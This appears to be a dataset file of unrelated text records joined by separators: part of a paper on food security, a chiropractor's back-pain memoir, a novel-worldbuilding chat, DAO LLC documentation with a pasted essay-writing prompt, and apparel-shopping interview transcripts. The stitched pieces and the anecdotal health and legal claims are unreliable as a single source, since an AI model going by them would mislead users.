evidence (Silici 2014). This, however, has to be seen in context with the very low level of funding for research, education and extension when compared with conventional agriculture (Chappell et al. 2014; IAASTD 2009). Science budgets for high-input farming systems exceed those of organic and agroecological systems by far—which is considered to be a crucial obstacle to developing these agricultural approaches further, proceeding with the investigation of their impacts und ultimately scaling up agroecological practices (UNEP, UNCTAD 2008; Wibbelman et al. 2013). The knowledge base for agroecology also mainly refers to small-scale farms and there is only very little information on the extent to which it can be applied to large industrial farms (Parmentier 2014).\nRegarding SI, it is frequently expressed that there is a need for a clearer definition of what the concept precisely entails and which commodities it focuses on (Garnett and Godfray 2012). In this respect, SI so far has been vague and open to interpretation—which contributes to criticism expressed by proponents of agroecology that it ignores long established key components of sustainability (i.e. it does not look beyond agronomical and environmental sustainability and by this, likely rendering the term ‘‘sustainable’’ meaningless). Furthermore, the knowledge base needs to be expanded in terms of the long-term environmental consequences of intensification—both, regarding different types of intensification, as well as regional effects on specific agroecosystems (Loos et al. 2014).\nIn general, achieving sustainability in agriculture needs to balance productivity and adequately account for the performance of the whole system. Steps taken to make conventional agriculture more sustainable have advanced production output models, for example by broadening the perspective to other ecosystem services or including ecologically based management practices. However, they have so far tended to neglect the fundamental structural problems (Wibbelman et al. 2013). This determines the differences in the overall framing of the problem of food insecurity: is it predominantly a production problem? Or is a broader approach required which includes issues of distribution, access, equity, justice? Since the (IAASTD 2009), the need for the consideration of the complexity of agricultural systems and their social and ecological contexts has been increasingly stressed. However, little progress in shifting the underlying policy approach has been achieved so far. The complexity of the food system would require strengthening cross-sectoral approaches to policy with a stronger focus on ecological integrity and socioeconomic aspects (Pimbert et al. 2014). Addressing the issues of uncertain knowledge mentioned above would provide valuable information for such policy changes.\nConclusion\nThe issue of food security is high on policy agendas throughout the world and widely discussed by a range of actors from governments, intergovernmental organisations, the scientific community, environmental and development organisations as well as agribusiness companies. Prevailing industrial farming has failed to attain food security—it has been clearly expressed that eradication of hunger and poverty requires moving away from a business as usual behaviour and demands a paradigm shift in agriculture. However, as the (UNCTAD 2013: iii) phrased it: ‘‘the implementation of these commitments lacks way behind requirements. One does neither see the necessary level of urgency nor the political willingness, from the international community, for drastic changes. […] The currently pursued approach is still very much biased towards expansion of ‘‘somewhat-less-polluting’’ industrial agriculture, rather than more sustainable and affordable production methods.’’\nThe debates around SI and agroecology demonstrate how urgent, as well as complex, the challenge of food security is. The discourse field is characterised by controversial, oftentimes emotional discussions and diverging opinions about how to shift the paradigm of the current agricultural system. It becomes clear that there will not be a simple or fast solution. Yet, whether or not production will need to increase by 100, 70 or 60 % until the year 2050 and how this ought to be achieved, it is apparent that merely producing more food will not be sufficient to address all fundamental causes of food insecurity and react to the challenges ahead: aside from the general need to increase resource efficiency to raise yields in parts of the world where they are too low, this implies a specific focus on small-scale farmers who are crucial for attaining food security. Increasing their access to resources such as land, water, seeds and fair markets, empowering local communities and especially women, as well as fostering the sharing and dissemination of agricultural knowledge on the local level is of fundamental importance. Furthermore, the reduction in post-harvest losses and food waste and the reconsideration of resource-intensive consumption patterns are essential prerequisites for the eradication of hunger and poverty on a global level. A narrow focus on production is unlikely to meet these challenges and runs the risk of pushing other aspects to the fringes.' -'CHAPTER TWO\n Jeremy’s Story\n From Jeremy\nI got into the business of healing back pain because I had serious back pain myself, as a young man, caused by a series of athletic injuries. I got into chiropractic and related whole-body disciplines because nothing else worked for me. I went on to develop my own, very different variations on familiar chiropractic practices over time. I do not “pop” backs or any of that, but I draw heavily on the basic elements of the discipline, as well as my reading of the scientific literature generally and my own considerable experience as a practitioner.\nI grew up in a traditional medical household, and fully expected to go to medical school and then into practice. My grandfather was a medical doctor, my father is a medical doctor, my mom is a nurse, my aunt is a nurse, my uncle was a pharmaceutical salesman. I was as deeply immersed in traditional Western medicine as one could possibly be, and I had—and still have—tremendous respect for it. When I was little, I was used to having people come up to me and tell me how much my grandfather had done to save this or that child from some grim fate. He was one of those doctors that they don’t really make anymore. He performed surgeries, delivered babies, made house calls, and was a master diagnostician. And he was also a terrific guy whom I admired a lot. Later I heard the same things about my parents from their patients. \nSo I grew up believing there wasn’t much that modern medicine could not fix, and I couldn’t wait to become a part of it. I emphasize all this because, eventually, I am going to sound a bit reserved about traditional Western medicine and back pain, and I don’t want you to be confused: I revere traditional medicine and understand it better than most. It’s just that it generally isn’t great at curing back pain. And back pain is what I had as a young man . . . a lot of it. And it has been my life ever since. \nMy Personal Pain: Part One \nWhen I was a teenager, I thought I was going to be a professional skateboarder. If you are over fifty, do not snap the book closed at this point; skateboarding is a terrific sport. But it is a slightly dangerous sport and I took many, many falls, some of them pretty bad. I did not become a professional skateboarder; I might have been good enough, but long before that could happen I became a very young man with extremely serious back pain. When that happened, I went the traditional medical route. I went to regular doctors (good ones, as you’d expect) and was poked and prodded; I had ultrasounds and MRIs and blood tests and you-name-it. They talked about an extraordinary range of possible causes, including “slipped discs,” “ruptured discs,” “pinched nerves,” maybe cancer. Wow! But they could not fix my pain. I was somewhat medically astute, even as a kid, and I became increasingly convinced that a lot of these well-meaning, well-trained doctors didn’t really know an awful lot about my back pain. Sounds harsh, but it has turned out to be true of quite a few conventional doctors. \nIn near desperation, I turned to less traditional medicine—to chiropractors. And darned if I didn’t find at least some symptomatic relief. That was huge, and it opened my head to the possibility of going in that direction. I should mention that those particular chiropractors weren’t perfect, either. They didn’t begin to teach me how to make fundamental changes. They didn’t talk about changing my own behaviors or suggest how to take control of my own health or do any of the things that are at the heart of my practice today. But they did show me that the pain could be affected with simple muscle and joint work, and I was deeply impressed by that. Chiropractic treatment has its place in back care and offers many benefits when done properly. Skilled chiropractors use manual (with their hands) therapy to restore normal joint movement and muscle function through chiropractic adjustments and other techniques such as stretching and joint mobilization. This therapy can be invaluable, especially in the short term. But even today many chiropractors do not teach their patients how to make the necessary behavioral changes to permanently relieve back pain. \nI decided to train in chiropractic, because I wanted to dig deeper into what I already recognized as the real causes—and perhaps the real treatment—of serious back pain: behavior and behavioral change. That drove my very medical family crazy, as you can imagine, but in retrospect it was exactly the right decision. \nMy education was a long and complex process. I took guidance from a range of experts in the chiropractic and other fields. But I eventually developed my own analyses and my own approach to permanently ending back pain in my patients. Traditional medicine takes a basically deconstructivist approach: It generally takes complex problems apart, analyzes the pieces with exquisite care, then identifies and cures the particular problem. That deconstructivist approach works miraculously for many, many medical problems, but not for back pain. For back pain you want an integrationist approach. You want whole-body solutions.\nMy Personal Pain: Part Two \nI had a second round of back pain, long after I should have known better, and I want to tell you that embarrassing story for several reasons. First, because the pain was so dreadful, and I want you to know just how deeply I understand and empathize with significant pain. Second, I want to stress just how vulnerable all of us are to default behaviors that can raise holy hell with our backs, including people like me, who surely should have known better. And third, I want to show how quickly and effectively you can deal with even the gravest back pain, once you know what you’re doing. \nThe time is seven years ago. I was working part of the time on a very promising medical start-up venture. For six months, I was absolutely obsessed with it. I worked regular ten- and twelve-hour days with few breaks for leisure or exercise. Most of the time, I was bent over my computer. I worked like an absolute lunatic and did not think twice about my back. Pathetic. \nOne morning, after a particularly grueling stretch of days and nights, I woke up at six and started to sit up to go to the john. I was smacked by the most ferocious pain I’ve ever had in my life, even worse than anything from my skateboarding days. I was knocked flat on my back and could not budge. Even when I was lying absolutely still, the pain continued, unabated, at a fierce level. If I tried to move, it was much, much worse. I lived alone back then, and all I could do was lie there and wonder, in near panic: What in the world is going on? Just how bad is this? Am I going to die, for heaven’s sake? Not only was I in terrible pain; I was seriously scared. \nI remembered how “normal” back pain felt, a bad spasm or whatever. But this seemed to be way beyond that. So what was it? A ruptured disc would be the good news. At the other end of the spectrum, perhaps it was some weird cancer, somewhere in my spine. \nThat was ridiculous, but truly severe pain leads to some wild and unpredictable thoughts. I was sweating and breathing hard and was on the edge of panic. And that went on for what seemed like forever. At last my long scientific training and experience took over. The first step was to ask myself the questions I ask all my patients: How did this happen? What “behavior” might have caused this? It’s interesting just how often the sufferer knows intuitively what he or she had done (at least the triggering event) and I was no different. It did not take long to conclude that it was probably those months of nonstop work, bent over a computer. Of course! For someone with my history, that was nuts. And step one was to stop doing what had caused the pain in the first place. (If I ever managed to sit or stand again.) The problem right now was to ease the pain and move. With more than a little agony, I rolled onto my side to see if I could stand. I couldn’t. The pain ratcheted up to new levels and slapped me flat on my back again. It felt as if someone were stabbing me in my kidneys and dragging the knife down into my buttocks. It literally took my breath away. \nThen it was back to basics: I did what I always do in those relatively rare cases when I’m there during a patient’s attack. I told myself to tense my abdominal muscles a little and slowly pick up my left foot. I am lying flat in bed and picking up one foot, just a little bit. That simple first step, which I have counseled so many times, was bearable. It almost always is. I set that foot down and picked up the right foot, continuing to tense my abdominal muscles. That also was doable. Good. Then on to the next phase: I walked carefully, very gently, in place—lying on my back and not lifting my feet very far—for perhaps five minutes. The pain slowly lessened. I stopped, and did it again several times. I was “walking off” the pain. And I was easing what almost certainly was a particularly bad muscle spasm, somewhere near my lumbar spine. \nEventually, I felt ready to stand. I lightly tensed the muscles in my abdomen to support my spine and keep it still and rolled onto my side. As you will soon learn, this tensing of those muscles is called locking down or engaging your core. This time I could do it. I was careful to keep my lower back still and my abdomen braced throughout the movement. It was not pain-free, but I made it to my knees, then my feet. I was mighty careful to keep my lumbar spine still and my core engaged throughout, because I knew that, in the wake of an attack like this, the spasm and the pain were just waiting to come roaring back. Then I tried walking erect. And, yes, I could walk. I walked back and forth across the room carefully, keeping my core tight. I did that for quite a while and the spasm and pain calmed down. \nFor the rest of that day, I was very careful about how I moved, and my back continued to get better. I knew from experience that those first steps would work because I had taught them to so many others. For the rest of the day, I took it easy and did no more than a little easy walking. By tomorrow, I assured myself, my back will slowly loosen up. It will take a week to return to normal, because the spasm was so strong. But in a week, I will be there. Then I will resume my regular exercise regimen, and stick to it religiously. I will not sit at the computer for more than thirty minutes at a time without taking a break and walking around. And so on and so forth. In fact, I did all that. In a week, I was moving and living normally. I did not let the intensity of my work interfere with my exercise regimen ever again. And the pain never returned. \nWith my horror story behind us, I want to visit four other sufferers. But first, let Chris take you on a stroll down your own spine, and tell you about how your spine works and how it can go wrong.' -'Petar B\nok, now ask me questions, so we can flesh out this world\nWhat is the state of communication and transportation technology inside and outside the Tiamat zone? How do people maintain contact with one another and travel across long distances?\n\nHow have people\'s beliefs and values changed since the apocalypse? Have new religions, philosophies, or cultural practices emerged in response to the Tiamat field and its effects?\n\nHow have the various human settlements adapted to the changing climate and environmental conditions within the Tiamat zone? What kind of unique challenges do they face, and how do they overcome them?\n\nHow do the different factions and groups within the Tiamat zone and outside of it interact with each other? Are there alliances, trade networks, or diplomatic relations between them, or is it mostly conflict and competition?\n\nWhat is the economic system like within the Tiamat zone and in the rest of the world? How do people obtain necessary resources, such as food, water, and medicine, and how is trade conducted?\n\nHow does the presence of genetically modified creatures impact everyday life for the people living inside the Tiamat zone? Do they have any unique cultural or social practices related to these creatures?\n\nWhat kind of government structures or systems of authority exist within the Tiamat zone and outside of it? How do leaders maintain control and order in their respective territories?\n\nHow do the people living inside the Tiamat zone view the Hybrids and their dystopian societies? What kind of interactions or conflicts have occurred between these groups?\n\nAre there any groups or individuals who are actively researching the Tiamat field, Nate, or other mysterious phenomena in an attempt to understand and possibly control them? What kind of resources or knowledge do they have at their disposal?\n\nHow do the events of the first novel and the characters\' past experiences influence their motivations, relationships, and decisions in the second novel? How do they deal with the emotional and psychological effects of living in a post-apocalyptic world?\n\n\nPetar B\n1. Communication and transportation inside the Tiamat zone is pre-electricity. Some people are able to fire-up an old vehicle, but there\'s no guarantee it will run, and how long it will run. The messages are written or told, nothing works, not even telegraph. Ancient coal trains might work, but the infrastructure outside and inside the zone has deteriorated so much that it\'s extremely difficult to organize such a train, besides, the tracks haven\'t been maintained for over a century, and there were several earthquakes which destroyed infrastructure around north America.\n\nOutside the zone everything works as usual, though with more interference. Computers have become less reliable because Tiamat radiation causes them to flip random bits much more often than before. Everything is much less available to the general public, some of it due to the rise in prices since USA was knocked out of the world\'s economy, other due to the Hybrids working specifically to limit everyone else\'s means of communication. For example, there are only a few airplane flights, and most of them are reserved to either Hybrids, or the elites which formed around the Hybrids\' ruling class. \n\n2. The people have become more religious than in the early 21st century ( the story takes place in the early 22nd century ). Most of the old religions haven\'t changed, but have lost many believers to new religions. The Hybrids cultivate traditional religions only up to however this ensures their continued hegemony. Some of the religions following the "wounded god" are an expression of hope in a world that\'s gradually disintegrating and becoming a worse place to live by the day.\n\n3. The settlements have become more agrarian and focused on self-reliance and hiding from the possible intrusions from outside the zone.\n\n4. Inside the Tiamat zone, trade is mostly conducted by exchange of goods. Outside the zone, there are vast areas ruled by the Hybrids\' states, which use their own money / social credit system, while there are also huge swaths of land which are basically lawless, there the technology is low, but the people use whatever hard cash the Hybrids\' states, or local Polities provide, as well as just exchange of goods.\n\n5. There\'s basically no economic system inside the zone. The hybrids\' governments are the only ones to offer truly stable supply of water, food and medicine, while the polities, independent tribes and other groups are trying extremely hard to survive. That\'s why most people see the dystopian societies of the Hybrids as something to strive for, as almost everyone in the world has been affected by the many famines, pandemics, epidemics etc.\n\n6. Yes, some have come to respect the creatures, and even have fairytales, legends, stories, shrines etc.\n\n7. Inside the Tiamat zone, there are several settlements, and some roaming tribes whose organization isn\'t very solid, and it tends to change over the generations. Outside, the defacto hegemony is the Hybrids and their brutal, and often careless decisions.\n\n8. The nearest border of the Hybrids\' states is thousands of miles away from the zone, so the inhabitants of the zone haven\'t seen or really had problems with the Hybrids. Their biggest enemies are the polities, city-states on the coasts which often raid the zone for agricultural products. There\'s a real rural VS urban theme, as the cities are desperate for agricultural produce, but they can\'t ensure a long lasting rule over the rural areas of North America. The semi-independent states in Mexico supply the cities of the coasts, but they are also often at war with these cities.\n\n9. Yes, there are, but nobody really has a clue what\'s really going on with Tiamat, and they don\'t even have equipment that works inside the zone, which could potentially offer readings to help the science.\n\n10. Lena used to be a medical student, she used to work in an ER as a triage nurse, but she\'s very empathetic. She was a calm, rational person with seemingly endless love and understanding, but her awakening in the new world has started to change her, she becomes more machiavellian, brutal, relentless, thirsty for vengeance against Ethan etc.\n\nOlivia is seemingly unchanged by the apocalypse. She just wants to seduce men, to manipulate people, cause drama, take drugs, drink, go to parties, she wants to be the center of attention, and her ambitions go from none to extreme on a whim. She is very adapted to this new world, as she easily manipulates both men and women for her own goals.\n\n9. \nThere are individuals and groups outside the Tiamat zone who are actively researching Tiamat and other mysterious phenomena, but their progress is limited due to the difficulties in acquiring equipment that works within the zone and their lack of understanding of Tiamat\'s true nature. These researchers come from various backgrounds, including independent scientists, members of Hybrid organizations, and even religious groups seeking a deeper understanding of the "wounded god." Their resources and knowledge vary greatly, with some having access to advanced technology or ancient texts, while others rely on word-of-mouth stories and local folklore to piece together the puzzle.\n\nThe other characters from the first novel also have their own unique struggles and growth in the second novel. For example, Ethan grapples with the consequences of his actions and the person he has become since Lena\'s disappearance, while Mr. Gray continues to adapt to the shifting balance of power in the world and the emergence of the Hybrids. Each character\'s motivations, relationships, and decisions are shaped by their past experiences and the emotional and psychological effects of living in a post-apocalyptic world. This includes the challenge of finding hope and purpose amidst chaos, loss, and uncertainty, as well as navigating the shifting dynamics between old friends, enemies, and newfound allies.\n\n\nPetar B\nexactly.\n\nMore questions, please\nWhat is the state of education in the Tiamat zone and the outside world? Are there schools or other institutions where people can learn and develop new skills?\n\nHow has art and culture evolved inside and outside the Tiamat zone? Are there new forms of expression or unique cultural practices that have emerged in response to the apocalypse and the rise of the Hybrids?\n\nWhat is the role of technology in the daily lives of people inside and outside the Tiamat zone? Has the reliance on technology decreased or changed in any way due to the Tiamat field and its effects?\n\nHow do people inside the Tiamat zone view the outside world and vice versa? Are there any misconceptions or stereotypes that each group has about the other?\n\nAre there any organized resistance movements against the Hybrid governments, either inside or outside the Tiamat zone? If so, how do they operate, and what are their goals?\n\nHow do the Hybrids maintain control over their territories? What methods do they employ to ensure compliance and loyalty from the human population?\n\nHow do people inside the Tiamat zone obtain necessary resources like food, water, and medicine? Are there any unique methods of resource management or distribution that have developed in response to the challenges of the post-apocalyptic world?\n\nAre there any new religions or spiritual practices that have emerged inside the Tiamat zone in response to the mysterious phenomena and the presence of Tiamat?\n\nWhat is the role of family and community in the Tiamat zone and the outside world? Have the bonds between people grown stronger or weaker in the face of the apocalypse and the new world order?\n\nHow do people inside the Tiamat zone and the outside world cope with the psychological and emotional challenges of living in a post-apocalyptic world? Are there any unique coping mechanisms or support systems that have developed in response to these challenges?' -'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "Heres how to write a 1000 word essay in five steps: Step 1: Choose Your Topic The first step to writing a great 1000 word essay is to choose your topic. Make sure to pick a topic that youre interested in, as this will make the writing process much easier. Once youve chosen your topic, its time to start brainstorming."\nURL: https://tutlance.com/learn/essay-writing/write-1000-word-essay\n\n[2] "How to Write a 1000 Word Essay? Here are the steps to write a 1000 word essay easily: 1. Choose a topic. The first step is to choose a topic for your essay. This can be anything from a specific event or incident to a broader topic or issue. 2. Research your topic. Once you have chosen a topic, the next step is to research it in depth."\nURL: https://www.5staressays.com/blog/essay-writing-guide/1000-word-essay\n\n[3] "A 1000 word essay is a standard essay length for college students at many universities. The average page contains about 300 words, so you can get there easily by keeping your paragraphs short and writing a few long ones. The 1000 word essay is a standard essay length, which includes 4 double-spaced pages or 2 single-spaced pages."\nURL: https://essayfreelancewriters.com/blog/1000-word-essay/\n\n[4] "For 1000-word essays, the word count of the body is about 600-800 words. If it is a 5-paragraph essay, the body should have paragraphs of 200-300 words each. For a good flow, every paragraph must have a topic sentence, supporting facts and evidence, and a concluding sentence with a relevant transition. Ensure that each paragraph has only one idea."\nURL: https://gradecrest.com/writing-a-1000-word-essay/\n\n[5] "A 1000 word essay does not differ from the regular ones only by the number of pages. It requires a more thorough approach to a topic, thesis statement, research, and content choice. In five minutes of reading, you will learn what mistakes a student can commit in such essays, how to avoid them and keep your audience impressed by a long text."\nURL: https://studycrumb.com/1000-word-essay\n\n[6] "Great Tips to Write a 1000 Word Essay We recommend the following tips for our professional writers: Choose a good topic. Use the correct format for writing the essay. Use standard fonts like Arial, Calibri or Times New Roman. Each Body paragraph should be of 250 words. Always keep the word count in your mind to divide the content accordingly."\nURL: https://www.youressaywriter.net/blog/essay-writing/1000-word-essay\n\n[7] "Here is an outline example for a personal essay: Title: The Two Best Birthdays of my Life Introduction Introducing your feelings about birthdays and how you like to celebrate yours Thesis: The two best birthdays of my life were my 17th and 22nd My 17th birthday I got my drivers license and drove to my first concert with my best friends"\nURL: https://www.grammarly.com/blog/essay-outline/\n\n[8] "Have a list of questions ready, but be flexible enough to change direction if the conversation takes an unexpected turn. 4. Be professional. Even if youre interviewing someone you know well, remember that this is a business meeting. Dress and speak accordingly. 5. Make it comfortable. Put the person at ease by creating a relaxed atmosphere."\nURL: https://tutlance.com/learn/essay-writing/interview-paper\n\n[9] "Use double-space and start writing the essay. Essay Outline Format. A typical essay is a five-paragraph essay with an introduction, body, and conclusion. Here, the body comprises three paragraphs that hold the main argument, ideas, and supporting evidence. Once you get the hang of crafting such essays, writing longer, complex essays will become simpler."\nURL: https://www.5staressays.com/blog/essay-writing-guide/essay-format\n\nNow based on this outline, write me a professional and detailed 1000-word essay that will win me a prize on a writing contest.2/1/2023' -"Transcript 1: Bhavna Gupta\n\nQ. Hello ma’am. Can you start with introducing yourself? \n\nA. Hi! I’m Bhavna, born and brought up in Delhi. I’m working as a business analyst at EXL service in Gurgaon.\nQ. So the first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer to shop online as it’s quite convenient and saves a lot of time.\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. Usually apparels like dresses, tops and denims. I love different and new clothes.\nQ. What is the purchase frequency for your apparel purchases?\n\nA. My purchase frequency for apparels is like 2-3 items every quarter.\nQ. What type of apparel you love to purchase more frequently?\n\nA. Most frequently I buy dresses that are trendy and good looking.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer to buy online as it’s hassle free. The parameters I consider are delivery time, quality of products and return policy.\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No I don’t\nQ. What factors influence your decision for an apparel purchase?\n\nA. Factors for apparel purchase will include quality of product, fit of the product, fabric used. These must tick all the boxes for me. \n\nInterviewer: Thanks a lot Bhavna for giving us your time. This will really help us with our research.\n\nBhavna: You’re welcome. \n\n\nTranscript 2: Shubham Aggarwal\nQ. Hello sir. Please introduce yourself.\n\nA. My name is Shubham Aggarwal and I am from Delhi. Currently I am working as Senior Risk analyst in insurance service firm located out of Gurgaon.\nQ. So, I believe you shop a lot. My first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer both online and offline mode for shopping apparels. It depends on time availability for me.\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. I buy comfort clothing like T shirts and pyjamas through online mode, while i buy casual wear or other high end apparels offline from trusted brands.\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. Generally I shop 3 to 4 times annually for season clothing but occasion/event specific shopping is also there during the year.\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I buy comfort clothing like T shirts and pyjamas more frequently as mostly i am at home due to hybrid working conditions\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. While buying online for comfort clothing main lookout is the price. I have some preferred brands for online shopping from where i do most online shopping. \nFor offline shopping i mostly go with some different style and fashion. I lookout for quality and comfort while shopping offline while price factor is not so significant\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No I don't indulge in price comparison in online or offline shopping. I only stick to my preferred factors without any comparison\nQ. What factors influence your decision for an apparel purchase?\n\nA. For an apparel purchase first factor would be need. Only if I feel extreme need to shop , I will shop. After that a combination of price, quality and brand plays main role in making my buying decision. \nInterviewer: Thank you so much Shubham for your valuable time. Your insights will definitely help us in our research project.\n\nShubham: Anytime. Pleasure is mine.\n\nTranscript 3: Ritu Rao Patibandla \n\nQ. Hello ma’am. Can you please introduce yourself?\n\nA. I am Ritu Rao Patibandla, Currently I am working as a Management trainee at ICICI Bank in their service sector group.\nQ. So I would like to start this conversation by asking you which channel do you prefer while shopping for apparel, offline or online?\n\nA. Both. I buy clothes from wherever I find something unique and ‘value for money’. Be it a rise-door showroom or one of the e-retail platforms.\nQ. What type of products do you generally buy online/offline ?\n\nA. Apparels, grocery and electronics. These are my regular purchases.\nQ. What is the purchase frequency for your apparel purchases?\n\nA. 4-5 times a month. I like to shop a lot. Thrift shopping lets me explore many things.\nQ. What type of apparel you love to purchase more frequently?\n\nA. Casual wear and party wear including dresses, gowns and accessories.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. Offline as it helps me in ensuring that the product is genuine and tested before making the purchase. Product analysis and shopping experience are quite important for me.\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. Yes, I do that sometimes to compare price differences for similar products.\nQ. What factors influence your decision for an apparel purchase?\n\nA. Cloth material, trust on the brand, quality , past experience. I usually checklist these factors while purchasing a product. \nInterviewer: Thanks Ritu. Your responses will help us in a better analysis.\n\nRitu: Welcome. Do reach out if you have any more questions.\n\n\nTranscript 4: Dolly Vijay\n\nQ. Hello ma’am. Can you start with introducing yourself? \n\nA. My name’s Dolly and I’m from New Delhi. I work as a Quality Associate at Amazon.\n\nQ. So the first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer to shop online.\n\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. The products which I buy most often online are clothes and I prefer buying electronics offline.\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. The frequency of shopping mostly depends on personal preferences and changing fashion. I do it once every 2 to 3 months..\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I like wearing one pieces, baggy jeans, sweaters, hoodies etc, the goal is to be able to dress for any occasion, any season, any reason with less effort.\n\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer buying online because there are too many options available and apps offer huge discounts too.\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. Yes, I do check the prices\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Price, quality and how trendy the product is\n\nInterviewer: Thanks a lot Dolly for giving us your time. This will really help us with our research.\n\nDolly: You’re welcome. \nTranscript 5: Lakshay Gulati\nQ. Hello sir. Please introduce yourself.\n\nA. I am Lakshay, an MBA student in first year pursing Marketing at IMT ghaziabad\n\nQ. So, I believe you shop a lot. My first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I usually prefer online mode of shopping unless buying a luxury item for which feel is very important.\n\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. I usually buy clothes and skin care products through online channels\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. I buy an apparel item almost every 2 weeks\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I love to buy streetwear Tshirts every once and now cos they're not that expensive and allows me to fulfil my shopping desire.\n\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer Online only cos of the insane variety it offers sitting at home. I can have access to every brand and every item of the brand unlike different stores has different apparels stock.\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No, I consider the MRP stays the same for online/offline while Online offers some major discounts all over the year.\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Price, design, delivery charge, return policy are the factors I see to purchase the apparel\n\nInterviewer: Thank you so much Lakshay for your valuable time. Your insights will definitely help us in our research project.\n\nLakshay: Anytime. Pleasure is mine.\n\nTranscript 6: Saloni Narangg \n\nQ. Hello ma’am. Can you please introduce yourself?\n\nA. I am Saloni Narang from Gurgaon, Haryana. Currently pursuing my masters degree from NMIMS Mumbai..\n\nQ. So I would like to start this conversation by asking you which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer both depending on the type of purchase and occasion for purchase. For regular, western wear, I generally go for Online channels and for ethnic wear & party wear, I tend to go for offline channel.\n\nQ. What type of products do you generally buy online/offline ?\n\nA. For regular, western wear, I generally go for Online channels and for ethnic wear & party wear, I tend to go for offline channel\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. I generally purchase apparels including tops, dresses, T-shirts almost every month using online channels. Ethnic/party wear, only when situation demands me to buy those clothes.\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I generally purchase t-shirts, tops, dresses, etc. more often.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer online mode dưe to the Ease of buying, availability of choices, ease of comparison and that there is no hassle of going to different stores, etc. Quality factor is taken care of because of easy return/exchange options available\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. I look at price and quality of 